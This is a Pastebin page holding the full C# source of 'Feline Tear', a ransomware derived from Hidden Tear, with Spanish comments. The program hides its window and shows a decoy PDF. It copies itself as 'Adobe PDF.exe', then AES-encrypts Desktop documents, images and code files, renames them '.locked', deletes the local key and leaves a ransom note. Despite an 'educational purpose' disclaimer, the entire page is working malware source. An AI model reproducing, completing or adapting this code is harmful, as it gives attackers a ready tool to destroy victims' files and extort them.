Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * _________ ________ __________
- * \_ ___ \ ____ ___________ _____\______ \ ____\______ \__ __ _____ _____
- * / \ \/ / _ \/ ___/\__ \ / ___/| | \_/ __ \| ___/ | \/ \\__ \
- * \ \___( <_> )___ \ / __ \_\___ \ | ` \ ___/| | | | / Y Y \/ __ \_
- * \______ /\____/____ >(____ /____ >_______ /\___ >____| |____/|__|_| (____ /
- * \/ \/ \/ \/ \/ \/ \/ \/
- * https://cosasdepuma.wordpress.com/ thanx 2 Utku Sen(Jani)
- *
- */
- //importamos las librerías necesarias
- using System;
- using System.Diagnostics;
- using System.Linq;
- using System.Text;
- using System.Windows.Forms;
- using System.Security.Cryptography;
- using System.IO;
- namespace FelineTear
- {
- public partial class Form1 : Form
- {
- //conseguimos el nombre del User en Windows, el nombre de su ordenador y
- //la dirección de la carpeta Users
- string userName = Environment.UserName;
- string computerName = System.Environment.MachineName.ToString();
- string userDir = "C:\\Users\\";
- //creamos el nombre de la llave de desencriptación por si lo ejecutamos desde
- //PC o desde USB
- string usbKey = "key.txt";
- string pcKey = "\\winsys.txt";
- public Form1()
- {
- InitializeComponent();
- }
- //creamos la subrutina para cuando iniciemos el programa
- private void Form1_Load(object sender, EventArgs e)
- {
- //cambiamos los parámetros del formulario para que no se vea
- this.Opacity = 0;
- this.Visible = false;
- this.ShowInTaskbar = false;
- //definimos la ruta donde se va a guardar la contraseña en el PC
- string pcKeyDir = userDir + userName + pcKey;
- //definimos la ruta y el nombre donde se copiará nuestro ransomware
- string ransom = userDir + userName + "\\Adobe PDF.exe";
- //si el programa se ejecuta por primera vez...
- if (File.Exists(pcKeyDir) == false)
- {
- //mostramos un pdf cebo que previamente hayamos colocado en la
- //carpeta del ransomware y lo hayamos renombrado como "data.pdf"
- System.Diagnostics.Process.Start("data.pdf");
- //creamos la contraseña de cifrado y la guardamos
- string key = createKey(15);
- SaveKey(key);
- //copiamos el ransomware y lo ejecutamos
- File.Copy(Application.ExecutablePath, ransom);
- Process.Start(ransom);
- //cerramos este programa
- System.Windows.Forms.Application.Exit();
- }
- //si el programa se ejecuta por segunda vez...
- else
- {
- //el programa esperará un tiempo para encriptar los archivos
- time.Enabled = true;
- }
- }
- //creamos la subrutina para cuando mostremos el programa
- private void Form_Shown(object sender, EventArgs e)
- {
- //cambiamos los parámetros del formulario para que no se vea
- this.Opacity = 0;
- this.Visible = false;
- this.ShowInTaskbar = false;
- }
- /** ESTE ALGORITMO ES EL PROPIO DE HIDDEN TEAR TAL CUAL */
- //AES encryption algorithm
- public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
- {
- byte[] encryptedBytes = null;
- byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
- using (MemoryStream ms = new MemoryStream())
- {
- using (RijndaelManaged AES = new RijndaelManaged())
- {
- AES.KeySize = 256;
- AES.BlockSize = 128;
- var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
- AES.Key = key.GetBytes(AES.KeySize / 8);
- AES.IV = key.GetBytes(AES.BlockSize / 8);
- AES.Mode = CipherMode.CBC;
- using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
- {
- cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
- cs.Close();
- }
- encryptedBytes = ms.ToArray();
- }
- }
- return encryptedBytes;
- }
- /** FIN DEL ALGORITMO DE HIDDEN TEAR */
- //creamos la función que genera la llave
- public string createKey(int length)
- {
- //definimos todos los caracteres que puede tener la clave
- const string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
- //definimos todo lo necesario para poder generarlas aleatoriamente
- StringBuilder key = new StringBuilder();
- Random rnd = new Random();
- //creamos un bucle que vaya generando la llave de extensión lenght y
- //con los caracteres chars
- while (0 < length--)
- {
- key.Append(chars[rnd.Next(chars.Length)]);
- }
- //devolvemos la llave
- return key.ToString();
- }
- //creamos la subrutina para guardar la contraseña
- public void SaveKey(string key)
- {
- //guardamos el nombre del PC, el usuario y la key
- string keyID = computerName + "-" + userName + " " + key;
- //guardamos los datos en el PC y en el USB
- string pcPath = userDir + userName + pcKey;
- System.IO.File.WriteAllText(usbKey, keyID);
- System.IO.File.WriteAllText(pcPath, key);
- }
- /** SUBRUTINAS DE ENCRIPTACION DE HIDDEN TEAR */
- //Encrypts single file
- public void EncryptFile(string file, string password)
- {
- byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
- byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
- // Hash the password with SHA256
- passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
- byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
- File.WriteAllBytes(file, bytesEncrypted);
- System.IO.File.Move(file, file + ".locked");
- }
- //encrypts target directory
- public void encryptDirectory(string location, string password)
- {
- //extensions to be encrypt
- var validExtensions = new[]
- {
- ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
- };
- string[] files = Directory.GetFiles(location);
- string[] childDirectories = Directory.GetDirectories(location);
- for (int i = 0; i < files.Length; i++)
- {
- string extension = Path.GetExtension(files[i]);
- if (validExtensions.Contains(extension))
- {
- EncryptFile(files[i], password);
- }
- }
- for (int i = 0; i < childDirectories.Length; i++)
- {
- encryptDirectory(childDirectories[i], password);
- }
- }
- //starts encryption action
- public void startAction()
- {
- string passwordPath = userDir + userName + pcKey;
- string password = File.ReadAllText(passwordPath);
- string path = "\\Desktop";
- string startPath = userDir + userName + path;
- encryptDirectory(startPath, password);
- messageCreator();
- password = null;
- File.WriteAllText(passwordPath, String.Empty);
- File.Delete(passwordPath);
- System.Windows.Forms.Application.Exit();
- }
- /** FIN DE SUB DE ENCRIPTACION DE HIDDEN TEAR */
- //creamos un mensaje de rescate en el Escritorio
- public void messageCreator()
- {
- string dir = "\\Desktop\\U HAVE BEEN INFECTED!.txt";
- string fullDir = userDir + userName + dir;
- string[] text = { "Files has been encrypted with Feline Tear based on Hidden Tear", "Please, contact with me: ransomware@yopmail.com", "I only need a piece of pizza. Also you can ask the key", "Feline Tear is only for educational purpose! If you have been infected by another person, please, contact me!" };
- System.IO.File.WriteAllLines(fullDir, text);
- }
- //creamos la subrutina para el cronómetro
- private void time_Tick(object sender, EventArgs e)
- {
- startAction();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement